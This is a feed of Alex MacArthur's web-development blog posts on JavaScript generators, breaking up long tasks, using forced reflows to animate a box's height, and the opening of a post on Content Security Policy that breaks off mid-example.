Forem: Alex MacArthur

I think the ergonomics of generators is growing on me.

Alex MacArthur — Mon, 12 May 2025 10:00:39 +0000

I like the "syntactic sugar" JavaScript's seen over the past decade (arrow functions, template literals, destructuring assignment, etc.). I think it's because most of these features solved real pain points for me (some of which I didn't even know I had). The benefits were clear and there was plenty of opportunity to wield them.

But there are some oddballs in there... like generator functions. They've been around just as long as other key ES2015+ features, but their practicality hasn't exactly caught on. You might not even immediately recognize one:

function* generateAlphabet() {
  yield "a";
  yield "b";
  // ... 
  yield "z";
}

To be fair, I have found them handy at least once. I've written about using them for destructuring an arbitrary number of items on demand. I still love that use case, but I do wonder if there's something more I'm missing out on.

So, I wanted to give them an honest, intentional shake. Maybe after getting a better feel for them, opportunities would pop up. To my surprise, I think I've begun to appreciate both the ergonomics they offer and the mental model they encourage, at least in certain scenarios. I'll try to unwrap where I'm at. First, let’s step back and flesh things out a bit.

The Iterator & Iterable Protocols

Generators won't make much sense unless we cover the two distinct protocols on which they depend: the iterator and iterable protocols. They both deal with the process of producing an indeterminate sequence of values. The latter protocol builds upon the former.

The Iterator Protocol

This one standardizes the shape & behavior of an object that returns a sequence. At bare minimum, any object is an iterator if:

It exposes a next() method returning an object containing two properties:
- value: any
- done: boolean

That's... it. Here's nice, simple one:

const gospelIterator = {
  index: -1,

  next() {
    const gospels = ["Matthew", "Mark", "Luke", "John"];
    this.index++;

    return {
      value: gospels.at(this.index),
      done: this.index + 1 > gospels.length,
    };
  },
};

gospelIterator.next(); // {value: 'Matthew', done: false}
gospelIterator.next(); // {value: 'Mark', done: false}
gospelIterator.next(); // {value: 'Luke', done: false}
gospelIterator.next(); // {value: 'John', done: false}
gospelIterator.next(); // {value: undefined, done: true}

The sequence doesn't have to end, by the way. Infinite iterators are perfectly OK:

const infiniteIterator = {
  count: 0,
  next() {
    this.count++;

    return {
      value: this.count,
      done: false,
    };
  },
};

infiniteGenerator.next(); // Counts forever...

Aside from providing some consistency, this protocol alone may not feel very useful. The iterable protocol should help.

The Iterable Protocol

An object is iterable if it has a [Symbol.iterator]() method returning an iterator object. Every time you've used a for...of loop or destructured an array, you've leveraged this protocol. It's built into common primitives, including String, Array, and Map.

Implementing it yourself allows you to define how a for...of loop behaves. Building on the example from above, this is an iterable object:

const gospelIteratable = {
  [Symbol.iterator]() {
    return {
      index: -1,

      next() {
        const gospels = ["Matthew", "Mark", "Luke", "John"];
        this.index++;

        return {
          value: gospels.at(this.index),
          done: this.index + 1 > gospels.length,
        };
      },
    };
  },
};

Now, both a for...of loop and destructuring will just work:

for (const author of gospelIteratable) {
  console.log(author); // Matthew, Mark, Luke, John
}

console.log([...gospelIteratable]);
// ['Matthew', 'Mark', 'Luke', 'John']

Let's graduate to an example that can't be so easily mimicked with a simple array. Here's one iterating through every leap year after 1900:

function isLeapYear(year) {
  return year % 100 === 0 ? year % 400 === 0 : year % 4 === 0;
}

const leapYears = {
  [Symbol.iterator]() {
    return {
      startYear: 1900,
      currentYear: new Date().getFullYear(),
      next() {
        this.startYear++;

        while (!isLeapYear(this.startYear)) {
          this.startYear++;
        }

        return {
          value: this.startYear,
          done: this.startYear > this.currentYear,
        };
      },
    };
  },
};

for (const leapYear of leapYears) {
  console.log(leapYear);
}

Notice that we don't need to wait for the entire sequence of years to be built ahead of time. All state is stored within the iterable object itself, and the next item is computed on demand. That's worth camping out on some more.

Lazy Evaluation

Lazy evaluation is one of the most-touted benefits of iterables. We don't need every item in the sequence right from the get-go. In certain circumstances, this can be a great way to prevent performance issues.

Look at our leapYears iterable again. If you wanted to stick with a for loop to handle these values but not use an iterable, you might've reached for a pre-built array:

const leapYears = [];
const startYear = 1900;
const currentYear = new Date().getFullYear();

for (let year = startYear + 1; year <= currentYear; year++) {
  if (isLeapYear(year)) {
      leapYears.push(year);
    }
}

for (const leapYear of leapYears) {
  console.log(leapYear);
}

The code is certainly clear and readable (many would say more so than the previous version), but there are trade-offs: we're executing two for loops instead of one, and more importantly, processing the entire list of values up-front. It's a negligible impact for a scenario like this, but could be more taxing for a costly calculation, or for a much larger dataset. Think of something like this:

for (const thing of getExpensiveThings(1000)) {
  // Do something important with thing.
}

Without a custom iterable behind getExpensiveThings(), the entire list of 1,000 items must be built before anything can be done within the loop. The amount of time between executing the script and doing something of value is needlessly large.

In the same vein, it's nice for when you might not need every item in the sequence. Maybe you want to find the first leap year a person experiences by birth year. Once it's identified, there's no reason to continue. If a pre-built array was used, part of it would end up being populated for nothing.

function getFirstLeapYear(birthYear) {
  for (const leapYear of leapYears) {
    if (leapYear >= birthYear) return leapYear;
  }

  return null;
}

// Only evaluates leap years up to 1992:
getFirstLeapYear(1989) // 1992

Obviously, the efficiency gains would be more interesting with highly resource-intensive work, but you get the idea. If items aren't needed, no compute is wasted preparing them.

You're in good company if you're irked by how complex it feels to build one of these, by the way, so let's finally jump to generators – a feature built to make all this a little more ergonomic.

Smoothing Over the Protocols w/ Generators

Here's the same iterable from above, but written as a generator function, which returns a generator 0bject.

function* generateGospels() {
  yield "Matthew";
  yield "Mark";
  yield "Luke";
  yield "John";
}

There are two important constructs here: the function* and yield keywords. The former marks it as a generator function, and you can think of the yield keyword as hitting "pause" whenever the generator is asked for the next value.

Under the hood, the same next() method is called here too. Every time it's invoked, it'll move onto the next yield statement (unless there aren't any more).

const generator = generateGospels();

console.log(generator.next()); // {value: 'Matthew', done: false}

And of course, our for...of loop behaves as expected as well:

for (const gospel of generateGospels()) {
  console.log(gospel);
}

// Matthew
// Mark
// Luke
// John

Remember: iterables (and generators) can be infinite, which means you might see something like this in the wild:

function* multipleGenerator(base) {
  let current = base;

  while (true) {
    yield current;

    current += base;
  }
}

Loops like that look scary, but they don’t have to lock up your browser. As long as a yield is stuck between each iteration, everything will be paused when the next value is requested, and execution can go on its merry way.

const multiplier = multipleGenerator(22);

multiplier.next(); // {value: 22, done: false}
multiplier.next(); // {value: 44, done: false}
multiplier.next(); // {value: 66, done: false}

//... no infinite loop!

That said, something worth calling out: generators execute synchronously, so there's still plenty of opportunity to hold up the main thread. Fortunately, there are ways to prevent it. There's also an AsyncGenerator object that may help navigate challenges like this.

Where I've Begun to Appreciate Them

There's no groundbreaking capability here. I'm hard-pressed to find a problem that can't be solved with more common approaches. But as I've started working with them more, I'm coming to appreciate generators more often. A few reasons that come to mind:

They can help reduce tight coupling.

Generators (and all other iterators) shine at encapsulating themselves, including the management of its own state. More & more, I'm noticing how this helps ease the coupling between components I had always blindly made interdependent.

Scenario: when a button is clicked, you want to sequentially show the moving average of some price over the past five years, starting long ago. You only need the average of one window at a time, and you might not even need every possible item in the set (the user might not click through all the way). This would do the job:

let windowStart = 0;

function calculateMovingAverage(values, windowSize) {
  const section = values.slice(windowStart, windowStart + windowSize);

  if (section.length < windowSize) return null;

  return section.reduce((sum, val) => sum + val, 0) / windowSize;
}

loadButton.addEventListener("click", function () {
  const avg = calculateMovingAverage(prices, 5);
  average.innerHTML = `Average: $${avg}`;
  windowStart++;
});

Every time the button is clicked, the next average is rendered to the screen. But it's lame that we need to have a persistent windowStart variable at such a high scope, and I don't feel great about making the event listener responsible for updating that state. I want it exclusively focused on updating the UI.

On top of that, I might want to derive moving averages somewhere else on the page too. That'd be hard with so many things intersecting with everything else. Boundaries are weak and portability is a no-go.

A generator would help remedy this:

function* calculateMovingAverage(values, windowSize) {
  let windowStart = 0;

  while (windowStart <= values.length - 1) {
    const section = values.slice(windowStart, windowStart + windowSize);

    yield section.reduce((sum, val) => sum + val, 0) / windowSize;

    windowStart++;
  }
}

const generator = calculateMovingAverage(prices, 5);

loadButton.addEventListener("click", function () {
  const { value } = generator.next();
  average.innerHTML = `Average: $${value}`;
});

There are some nice perks:

The windowStart variable is only exposed where it's needed. No further.
Since state and logic are self-contained, you could have multiple, distinct generators being used in parallel with no issue.
Everything’s more focused in purpose. The math + state are left to the generator, and the click handler updates the DOM. Clear boundaries.

I like that model. And we can push it even further. Up until now, the click handler has been the one asking for the next value, directly depending on our generator to provide it. But we can flip that on it's head, allowing the generator to purely provide the ready-to-go values, leaving the click handler to do just something with it. Neither piece needs to know about the intricacies of the other.

for (const value of calculateMovingAverage(prices, 5)) {
  await new Promise((r) => {
    loadButton.addEventListener(
      "click",
      function () {
        average.innerHTML = `Average: $${value}`;
        r();
      },
      { once: true }
    );
  });
}

I can feel the heads turning & noses scrunching. It's not exactly a pattern I'd consider natural, but I respect the fact that it's possible. If the principle of "inversion of control" comes to mind reading through it, it did for me too. There's virtually no interdependence; no need for one component to know about the implementation details of the other. Once the work is done, the listener's cleaned up and control is given back to the generator. My gut says Uncle Bob might at least appreciate the sentiment (if not, please make me the subject of a bathrobe rant 🤞).

They can help avoid little "annoying" things.

I've been surprised by the number of pesky practices I've often had to use to accomplish things in the past. Think: recursion, callbacks, etc. There's nothing wrong with them, but they don't spark joy.

One area in which that's been felt is recurring loops. Think of a dashboard displaying the latest application vitals every second. Features like this can be divided up into two concerns: requesting the data, and rendering it to the UI. There are plenty of options for getting it done:

`setInterval()`

You could opt for the classic setInterval() – an appropriate choice since its whole purpose is to do things over and over and over (and over).

// ...and over!

function monitorVitals(cb) {
  setInterval(async () => {
    const vitals = await requestVitals();

    cb(vitals);
  }, 1000);
}

monitorVitals((vitals) => {
  console.log("Update the UI...", vitals);
});

But a couple of things might irk you. To keep those two concerns separate, it requires a callback be passed around, potentially triggering deep wounds of "callback hell" from JavaScript's pre-Promise days. On top of that, the interval doesn't care about how long it takes to request the data. The request could end up lasting longer than your interval, causing weird out-of-order issues.

`setTimeout()`

As an alternative, maybe you'd go with recursion and a Promise-wrapped setTimeout():

async function monitorVitals(cb) {
  const vitals = await requestVitals();

  cb(vitals);

  await new Promise((r) => {
    setTimeout(() => monitorVitals(cb), 1000);
  });
}

monitorVitals((vitals) => {
  console.log("Update the UI...", vitals);
});

That's fine too. But recursion may have killed your great-grandfather in the war and you don’t want to relive that trauma. You’re also still required to pass that callback around.

`while(){}`

There's also an infinite while loop, broken up by some asynchronous code.

async function monitorVitals(cb) {
  while (true) {
    await new Promise((r) => setTimeout(r, 1000));

    const vitals = await requestVitals();
    cb(vitals);
  }
}

monitorVitals((vitals) => {
  console.log("Update the UI...", vitals);
});

No more recursion, but that callback remains. Again, there's nothing in any of these examples inherently problematic. These are just tiny thorns in one's side. Fortunately, there's another option.

Enter: The Asynchronous Generator

I hinted at this earlier. A regular generator can become an async generator by placing async in its definition. That is stupidly obvious to write, but it's special in another way. Async generators can use a for await loop to run through the sequence of resolved values.

async function* generateVitals() {
  while (true) {
    const result = await requestVitals();

    await new Promise((r) => setTimeout(r, 1000));

    yield result
  }
}

for await (const vitals of generateVitals()) {
  console.log("Update the UI...", vitals);
}

The resulting behavior is the same, but without the emotional triggers. There are no timing risks, no recursion, and no callbacks. Distinct concerns can neatly keep to themselves. All you need to do is handle the sequence.

They can help make exhaustive pagination more efficient.

You've probably done something like this if you've ever needed every item of a paginated resource.

async function fetchAllItems() {
  let currentPage = 1;
  let hasMore = true;
  let items = [];

  while (hasMore) {
    const data = await requestFromApi(currentPage);

    hasMore = data.hasMore;
    currentPage++;

    items = items.concat(data.items);
  }

  return items;
}

Few can walk away from that feeling at complete peace with so many auxiliary variables and list stitching going on. Not to mention, you need to wait for that API to be completely exhausted before anything more interesting can occur.

const allItems = await fetchAllItems();

// Won't run until *all* items are fetched.
for (const item of items) {
  // Do stuff.
}

Not the most responsible solution in terms of timing or memory efficiency. We could get around it by refactoring to process items as each page is requested, but we then might suffer from the same issues we've explored so far.

Try out this option instead:

async function* fetchAllItems() {
  let currentPage = 1;

  while (true) {
    const data = await requestFromApi(currentPage);

    if (!data.hasMore) return;

    currentPage++;

    yield data.items;
  }
}

for await (const items of fetchAllItems()) {
  // Do stuff.
}

Fewer auxiliary variables, much less time before any processing can begin, and concerns are still neatly tucked away from each other. Not bad.

They make it really nice to generate sets of items on-the-fly.

I mentioned this in the beginning, but it's so good, I'm gonna sing its praises again. Since generators are iterable, they can be destructured like you would any array. If you need a utility to generate various batches of things, generators make it real simple:

function* getElements(tagName = 'div') {
  while (true) yield document.createElement(tagName);
}

Now, just destructure away, as many times as you like:

const [el1, el2, el3] = getElements('div');

Objectively beautiful. For some more detail on this trick, see the full post.

I Guess We'll See

It's hard to tell if my newfound appreciation for generators will stick around for the long haul (I'm probably still in a bit of a honeymoon phase with them right now).

But even if the enthusiasm dies tomorrow, I'm glad I've got more reps under my belt. Knowing how to use the tool is good and valuable, but being forced to rethink how I tend to approach a problem is even better. A decent ROI.

There are a lot of ways to break up long tasks in JavaScript.

Alex MacArthur — Mon, 03 Feb 2025 03:11:10 +0000

It's not hard to bork your site's user experience by letting a long, expensive task hog the main thread. Even as applications grown in complexity, the event loop can still do only one thing at a time. If any of your code is squatting on it, everything else is on standby, and it won't take long for your users to notice.

Here's a contrived example: a button for incrementing a count on the screen, alongside a big ol' loop doing hard work. It's running a synchronous pause, but pretend this is something meaningful that you, for whatever reason, need to perform on the main thread, and in order.

<button id="button">count</button>
<div>Click count: <span id="clickCount">0</span></div>
<div>Loop count: <span id="loopCount">0</span></div>

<script>
  function waitSync(milliseconds) {
    const start = Date.now();
    while (Date.now() - start < milliseconds) {}
  }

  button.addEventListener("click", () => {
    clickCount.innerText = Number(clickCount.innerText) + 1;
  });

  const items = new Array(100).fill(null);

  for (const i of items) {
    loopCount.innerText = Number(loopCount.innerText) + 1;
    waitSync(50);
  }
</script>

When you run this, not even the content of loopCount will update. That's because the browser never gets a chance to paint to the screen. This is all you see, no matter how furiously you click. Only when the looping is done do you get any feedback.

The dev tools flame chart corroborates. That single task in the event loop takes five seconds to complete. Horrrrrible.

If you've been in a similar situation before, you know that the solution is periodically break that big task up across multiple ticks of the event loop. This gives other parts of the browser a chance to use the main thread for other important things, like handling button clicks and repaints.

However, there are a shocking number of ways to pull this off. We're gonna explore some of them, starting with the most classic: recursion.

setTimeout() + Recursion

If you wrote JavaScript before the gift of promises, you've undoubtedly seen something like this.

function processItems(items, index) {
  index = index || 0;
  var currentItem = items[index];

  console.log("processing item:", currentItem);

  if (index + 1 < items.length) {
    setTimeout(function () {
      processItems(items, index + 1);
    }, 0);
  }
}

processItems(["a", "b", "c", "d", "e", "f", "g", "h", "i", "j"]);

There's nothing wrong with it, even today. After all, the objective is accomplished. Each item is processed on a different tick, spreading out the work. Look at this 400ms section of the flame chart. Rather than one big task, we get a bunch of smaller ones:

And that leaves the UI nice and responsive. Click handlers can work, and the browser can paint updates to the screen:

But we're a decade past ES2015 now, and the browser offers several ways to more accomplish the same thing, all of them made a little more ergonomic with promises.

Async/Await & a Timeout

This combination allows us to abandon recursion and streamline things a little:

<button id="button">count</button>
<div>Click count: <span id="clickCount">0</span></div>
<div>Loop count: <span id="loopCount">0</span></div>

<script>
  function waitSync(milliseconds) {
    const start = Date.now();
    while (Date.now() - start < milliseconds) {}
  }

  button.addEventListener("click", () => {
    clickCount.innerText = Number(clickCount.innerText) + 1;
  });

  (async () => {
    const items = new Array(100).fill(null);

    for (const i of items) {
      loopCount.innerText = Number(loopCount.innerText) + 1;

      await new Promise((resolve) => setTimeout(resolve, 0));

      waitSync(50);
    }
  })();
</script>

Much better. Just a simple for loop and awaiting a promise to resolve. The rhythm on the event loop is very similar, with one key change, outlined in red:

Every time you pass something to a promise's .then() method, it's executed on the microtask queue, that is, after everything else on the call stack is finished. It's almost always an inconsequential difference, but worth noting nonetheless. That's the only price (if we even need to call it that) have to pay for that nice refactor.

`scheduler.postTask()`

The Scheduler interface is a new one, intending to be a first-class tool for scheduling tasks with a lot more control and efficiency. It's basically a better version of what we've been relying on setTimeout() to do for us for decades.

const items = new Array(100).fill(null);

for (const i of items) {
  loopCount.innerText = Number(loopCount.innerText) + 1;

  await new Promise((resolve) => scheduler.postTask(resolve));

  waitSync(50);
}

What's interesting about running our loop with postTask() is the amount of time between scheduled tasks. Here's a snippet of the flame chart over 400ms again. Notice how tightly each new tasks executes after the previous one.

The default priority of postTask() is "user-visible", which appears to be comparable to the priority of setTimeout(() => {}, 0). Output always seems to mirror the order they're run in code:

setTimeout(() => console.log("setTimeout"));
scheduler.postTask(() => console.log("postTask"));

// setTimeout
// postTask

scheduler.postTask(() => console.log("postTask"));
setTimeout(() => console.log("setTimeout"));

// postTask
// setTimeout

But unlike setTimeout(), postTask() was built for scheduling, and isn't subject to the same constraints as timeouts are. Everything scheduled by it is also placed at the front of the task queue, preventing other items from budging in front & delaying execution, especially when being queued in such a rapid fashion.

I can't say for certain, but I think postTask() is just a well-oiled machine with one purpose, and the flame chart reflects that. That said, it is possible to maximize the priority for tasks scheduled with postTask() even further:

scheduler.postTask(() => {
  console.log("postTask");
}, { priority: "user-blocking" });

The "user-blocking" priority is intended for tasks critical to the user's experience on the page (such as responding to user input). As such, it's probably not worth using for just breaking up big workloads. After all, we're trying to yield to the event loop so other work can get done. In fact, it may even be worth setting that priority even lower by using "background":

scheduler.postTask(() => {
  console.log("postTask - background");
}, { priority: "background" });

setTimeout(() => console.log("setTimeout"));

scheduler.postTask(() => console.log("postTask - default"));

// setTimeout
// postTask - default
// postTask - background

Unfortunately, the entire Scheduler interface comes with a bummer: it's not that well-supported across all browsers yet. But it is easy enough to polyfill with existing asynchronous APIs. So, at least a strong portion of users would benefit from it.

What about `requestIdleCallback()`?

If it's good to surrender priority like this, requestIdleCallback() might've come to mind. It's designed to execute its callback whenever there's an "idle" period. The problem with it is that there's no technical guarantee when or if it'll run. You could set a timeout when it's invoked, but even then, you'll still need to reckon with the fact that Safari still doesn't support the API at all.

On top of that, MDN encourages a timeout over requestIdleCallback() for required work, so I'd probably just steer clear of it for this purpose altogether.

`scheduler.yield()`

The yield() method on the Scheduler interface is a smidge more special than the other approaches we've covered because it was made for this exact sort of scenario. From MDN:

The yield() method of the Scheduler interface is used for yielding to the main thread during a task and continuing execution later, with the continuation scheduled as a prioritized task... This allows long-running work to be broken up so the browser stays responsive.

That becomes even more clear when you use it for the first time. There's no longer a need to return & resolve our own promise. Just wait for the one provided:

const items = new Array(100).fill(null);

for (const i of items) {
  loopCount.innerText = Number(loopCount.innerText) + 1;

  await scheduler.yield();

  waitSync(50);
}

This cleans up the flame chart a bit too. Notice how there's one less item in the stack that needs to be identified.

The API for this is so nice that you can't help but start seeing opportunities to use it all over. Consider a checkbox that kicks of an expensive task on change:

document
  .querySelector('input[type="checkbox"]')
  .addEventListener("change", function (e) {
    waitSync(1000);
});

As it is, clicking the checkbox causes the UI to freeze for a second.

But now, let's immediately yield control to the browser, giving it a chance to update that UI after the click.

document
  .querySelector('input[type="checkbox"]')
  .addEventListener("change", async function (e) {
+ await scheduler.yield();

    waitSync(1000);
});

And look at that. Nice & snappy.

As with the rest of the Scheduler interface, this one lacks solid browser support, but still simple to polyfill:

globalThis.scheduler = globalThis.scheduler || {};
globalThis.scheduler.yield = 
  globalThis.scheduler.yield || 
  (() => new Promise((r) => setTimeout(r, 0)));

`requestAnimationFrame()`

The requestAnimationFrame() API is designed to schedule work around the browser's repaint cycle. Because of that, it's very precise in when it schedules callbacks – right before the next paint – which likely explains why this flame chart's tasks seated so tightly together. Animation frame callbacks effectively have their own "queue" that runs at a very particular time in the rendering phase, meaning it's difficult for other tasks to get in the way to push them back in time.

However, doing expensive work around repaints also appears to compromise rendering. Look at the frames during that same time period. The yellow/lined sections indicate a "partially-presented frame":

This didn't occur with the other task-breaking tactics. Considering this and the fact that animation frame callbacks usually don't even execute unless the tab is active, I'd probably avoid this option too.

`MessageChannel()`

You don't see this one used a whole lot in this way, but when you do, it's often chosen as a lighter alternative to an zero-delay timeout. Rather than asking the browser to queue a timer and schedule the callback, instantiate a channel and immediately post a message to it:

for (const i of items) {
  loopCount.innerText = Number(loopCount.innerText) + 1;

  await new Promise((resolve) => {
    const channel = new MessageChannel();
    channel.port1.onmessage = resolve();
    channel.port2.postMessage(null);
  });

  waitSync(50);
}

By the looks of the flame chart, there might be something to say for performance. There's not much delay between each scheduled task:

Web Workers

We've said otherwise, but if you can get away with performing your work off of the main thread, a web worker should undoubtedly be your first choice. You technically don't even need a separate file to house your worker code:

const items = new Array(100).fill(null);
const workerScript = `
  function waitSync(milliseconds) {
    const start = Date.now();
    while (Date.now() - start < milliseconds) {}
  }

  self.onmessage = function(e) {
    waitSync(50);
    self.postMessage('Process complete!');
  }
`;

const blob = new Blob([workerScript], { type: "text/javascipt" });
const worker = new Worker(window.URL.createObjectURL(blob));

for (const i of items) {
  worker.postMessage(items);

  await new Promise((resolve) => {
    worker.onmessage = function (e) {
      loopCount.innerText = Number(loopCount.innerText) + 1;
      resolve();
    };
  });
}

Just look how clear the main thread is when the work for individual items is performed elsewhere. Instead, it's all pushed down below under the "Worker" section, leaving so much room for activities.

The scenario we've been using requires progress to be reflected in the UI, and so we're still passing individual items to the worker & waiting for a response. But if we could pass that entire list of items to the worker at once, we certainly should. That'd cut overhead even more.

How Do I Choose?

The approaches we've covered here are not exhaustive, but I think they do a good job at representing the various trade-offs you should consider when breaking up long tasks. But still, depending on the need, I'd probably only reach for a few of these myself.

If I can do the work away from the main thread, I'd choose a web worker, hands-down. They're very well supported across browsers, and their entire purpose is to offload work from the main thread. The only downside is their clunky API, but that's eased by tools like Workerize and Vite's built-in worker imports.

If I need a dead-simple way to break up tasks, I'd go for scheduler.yield(). I don't love how I'd also need to polyfill it for non-Chromium users, but the majority of people would benefit from it, so I'm up for the extra bit of baggage.

If I need very fine-grained control over how chunked work is prioritized , scheduler.postTask() would be my first choice. It's impressive how deep you can go in tailoring that thing to your needs. Priority control, delays, cancelling tasks, and more are all included in this API, even if, like .yield(), it needs to be polyfilled for now.

If browser support and reliability are of the utmost importance , I'd choose setTimeout(). It's a legend that's not going anywhere, even as new, flashy alternatives hit the scene.

What'd I Miss?

I'll admit – I've never used a few of these in a real-life application, and so it's very possible there are some blindspots in what you read here. If you can speak into the topic further, even if it's insight about one of the specific approaches, you're more than welcome to do so.

Using Forced Reflows, the Event Loop, and the Repaint Cycle to Slide Open a Box

Alex MacArthur — Mon, 06 Jan 2025 04:58:35 +0000

If you're reading this, there's a more-than-zero chance you've used a CSS transition on max-height to slide open a box. You reached for max-height instead of height because the former will work when the box is sitting at its natural, unspecified height. The latter will not. As long as your max-height is greater than the actual height of the box, you're fine. In many cases, there’s no issue with this trick.

Still, I've always considered it a "trick" because it's not very deterministic. You're taking a best guess at what the "open" height should be, which could lead to problems. Example: here's a box, a little CSS, and some JavaScript to apply a new max-height:

<button id="button">Open Box</button>

<div id="box">
  <svg>⭐</svg>
</div>

<style>
  #box {
    max-height: 0;
    overflow: hidden;
    transition: max-height 0.25s;
  }

  #box.is-open {
    max-height: 300px;
  }
</style>

<script>
  const box = document.getElementById('box');
  const button = document.getElementById('button');

  button.addEventListener('click', () => {
    box.classList.toggle('is-open');
  });
</script>

If you're not careful, the "open" height may not be large enough based on the box's contents. You could end up clipping it. Or, if you overshoot, the browser will execute your transition duration based on the max-height – not actual height, causing it to appear faster than intended.

Good news: there's a way to avoid this guessing game (actually, there are many, but we're exploring this one). It just requires us to measure and resize at precisely the right time.

Calculating the Rendered Box Height

Let's start with this setup: a totally hidden box, a button some CSS, and a click event listener. Let’s get it to slide it open.

<button id="openButton">Open</button>

<div id="box">
  <!-- box contents --> 
</div>

<style>
#box {
  display: none;
  overflow: hidden;
  transition: height 1s;
}
</style>

<script>
  const openButton = document.getElementById('openButton');
  const box = document.getElementById('box');

  openButton.addEventListener('click', () => {
    // Magic here. 
  });
</script>

Before we can get the box’s “open” height, we'll need to allow the browser to render it as if it's open without painting it to the screen (we don't want any odd UI jerking). Fortunately, the browser's event loop makes that possible. Let's make it visible and get that height.

openButton.addEventListener('click', () => {
  box.style.display = 'block';
  const targetHeight = box.clientHeight;
});

The moment we ask for clientHeight, a DOM reflow/recalculation is immediately, synchronously forced, causing elements on the page to be remeasured and repositioned. This makes it possible to get the rendered height before any pixels change on the screen. In fact, it's impossible for the browser to make anything visually change until that click handler is finished and control over the event loop is yielded back to the browser. That's the gift and curse of JavaScript – the event loop only allows one single thing to happen at a time.

Let's keep going. Next, we'll set the "starting" state of our animation by setting its height to 0px.

openButton.addEventListener('click', () => {
  box.style.display = 'block';
  const targetHeight = box.clientHeight;
  box.style.height = '0px';
});

At this point, we can finally queue up the animation itself. But we'll need to do so in a particular way. The browser attempts to be efficient when the DOM is modified, and if we set attributes right after another, those changes will be batched into a single reflow. There would be a single repaint, and no animation.

openButton.addEventListener('click', () => {
  box.style.display = 'block';
  const targetHeight = box.clientHeight;
  box.style.height = `0px`;

  // Meaningless!
  box.style.height = targetHeight;
});

To trigger an animation, we'll need to update the box's height across reflows.

Forcing an Immediate, Synchronous Reflow

Accessing clientHeight isn't the only way to force a synchronous reflow. There are a ton of properties that must perform one in order to give you an accurate value. Paul Irish has a big list of them. We can force a reflow between setting the height to 0 and the rendered height by doing this:

openButton.addEventListener("click", () => {
  box.style.display = "block";
  const targetHeight = box.clientHeight;
  box.style.height = `0px`;

  // Forced reflow.
  box.offsetHeight;

  box.style.height = `${targetHeight}px`;
});

That's it. Just accessing the offsetHeight property forces a reflow and enables our animation. We could make it even more succinct too, with one fewer forced reflow.

openButton.addEventListener('click', () => {
  box.style.display = 'block';
  box.style.height = `0px`;

  // `scrollHeight` forces a synchronous reflow!
  box.style.height = box.scrollHeight;
});

After setting the height to 0, we immediately set it to the element's scrollHeight, which allows us to measure the natural box size even when we're explicitly setting the height (another weird quirk of JavaScript in the browser). And accessing that property inadvertently causes a reflow before the DOM is updated with the new height. Those two height updates occur across reflows, and we get an animation. Voilà.

Now, let's push a little further. It's possible to do all this a smidge more optimally, and more in concert with how the browser paints stuff to the screen. We'll just need to dance with the event loop a bit.

Deferring Until Natural DOM Reflows

The browser is always orchestrating when it's appropriate to schedule reflows and paint those updates to the screen, and it comes with a tool to tap into that process: requestAnimationFrame().

Any callback passed to it will execute just before a reflow and repaint. That's why it's often used to measure how long layout changes take, and also why you might see some yellow followed by purple in your browser's performance tools:

With this, we can defer setting the new box height until just before the next repaint:

openButton.addEventListener("click", () => {
  box.style.display = "block";
  const targetHeight = box.clientHeight;
  box.style.height = `0px`;

  requestAnimationFrame(() => {
    box.style.height = box.scrollHeight;
  });
});

The advantages of requestAnimationFrame() are more emphasized in complex animations without CSS transitions, but there is a teeny perk in cases like this too: we wait to force a reflow until the browser is ready to do something with it. You can see this play out in the browser's performance tools. Here's our earlier version without using an rAF. Notice how layout recalculation (purple) occurs as scrollHeight is accessed, and right in the middle the click event handler.

But the reflow is deferred when queued up inside requestAnimationFrame(), allowing the click handler to wrap up and give up control of the event loop a little sooner.

Moreover, if the tab becomes inactive, the rAF is paused, pushing the reflow until it's absolutely necessary. That's very nit-picky, but responsible DOM management.

Sometimes, Defer Until After Repaint

You can't easily just tell which element properties trigger a synchronous reflow, and so you might end up in a position where a single requestAnimationFrame() doesn't trigger the animation like you'd expect. Here's an example that doesn't rely on a scrollHeight access. Instead, it computes the new height early on, and assigns it just before a repaint.

openButton.addEventListener("click", () => {
  box.style.display = "block";
  const targetHeight = box.clientHeight;
  box.style.height = `0px`;

  // Might not work consistently in all browsers:
  requestAnimationFrame(() => {
    box.style.height = `${targetHeight}px`;
  });
});

This'll work in some browsers, but since updating the style attribute of an element doesn't force an immediate reflow, others may batch that update into a single paint. Just a flash. No animation. I verified this in Firefox v133, and this poor fellow ran into it as well.

The solution is to assign the new height after a fresh repaint. We can do that by scheduling the height change for the future while inside requestAnimationFrame(). Since this callback will fire just before a repaint, anything queued within it must occur after the repaint is finished.

You could schedule that next task with something like setTimeout() or scheduler.postTask(), but neither does so with regard to the repaint cycle. So, we'll just... use requestAnimationFrame() again.

openButton.addEventListener("click", () => {
  box.style.display = "block";
  const targetHeight = box.clientHeight;
  box.style.height = `0px`;

  // Nested rAFs:
  requestAnimationFrame(() => {
    requestAnimationFrame(() => {
      box.style.height = `${targetHeight}px`;
    });
  });
});

Now, our height will change after a repaint has occurred, preventing batching, while still in harmony with browser repaints. And even in Firefox, the animation is buttery smooth. Heckuva lot more reliable than guessing a maximum height.

Before I Forget

I failed to mention there's an alternative way to do all of this faster, with less code and fewer gotchas: The Web Animations API. Set the frames you'd like to animate between and you're off to the races. The browser will manage all the nitty gritty stuff.

openButton.addEventListener('click', () => {
  box.style.display = 'block';

  box.animate([{ height: '0px' }, { height: `${box.clientHeight}px` }], {
    duration: 500,
  });
});

Closing that box is simple too. Just reverse the list of frames.

function getFrames() {
  return [{ height: '0px' }, { height: `${box.clientHeight}px` }];
}

openButton.addEventListener('click', () => {
  box.style.display = 'block';

  box.animate(getFrames(), {
    duration: 500,
  });
});

closeButton.addEventListener('click', () => {
  const animation = box.animate(getFrames().toReversed(), {
    duration: 500,
  });

  animation.onfinish = () => {
    box.style.display = '';
  };
});

It's OK. All that other stuff is really important to know. It'll help you appreciate the challenges the WAAPI is positioned to solve, and hopefully bring some more insight into just how weird & complicated the browser is. That's worth something.

You Might As Well Use a Content Security Policy

Alex MacArthur — Mon, 02 Dec 2024 18:18:55 +0000

A few weeks ago, someone emailed to let me know that JamComments wasn’t playing nicely with his Content Security Policy (CSP). This was the first time I’d heard of the problem, which probably indicates how infrequently the feature is used, despite having been standardized since 2013 and being extremely well-supported by modern browsers.

At the time, JamComments used two things obstructed by even the simplest CSP: Function constructors (used by Alpine.js) and JavaScript within <script> tags. Both of these things (including a couple other things I’ve thrown) are neutralized with a little <meta> tag in your document:

<head>
  <!-- the CSP -->
  <meta http-equiv="Content-Security-Policy" content="script-src 'self'" />
</head>

<body>
  <!-- inline event handlers -->
  <button onclick="alert('nope.')">click me</button>

  <!-- inline script tags -->
  <script>
    console.log('nice try.');
  </script>

  <!-- Loading scripts from other origins -->
  <!-- (jQuery's still in btw.) -->
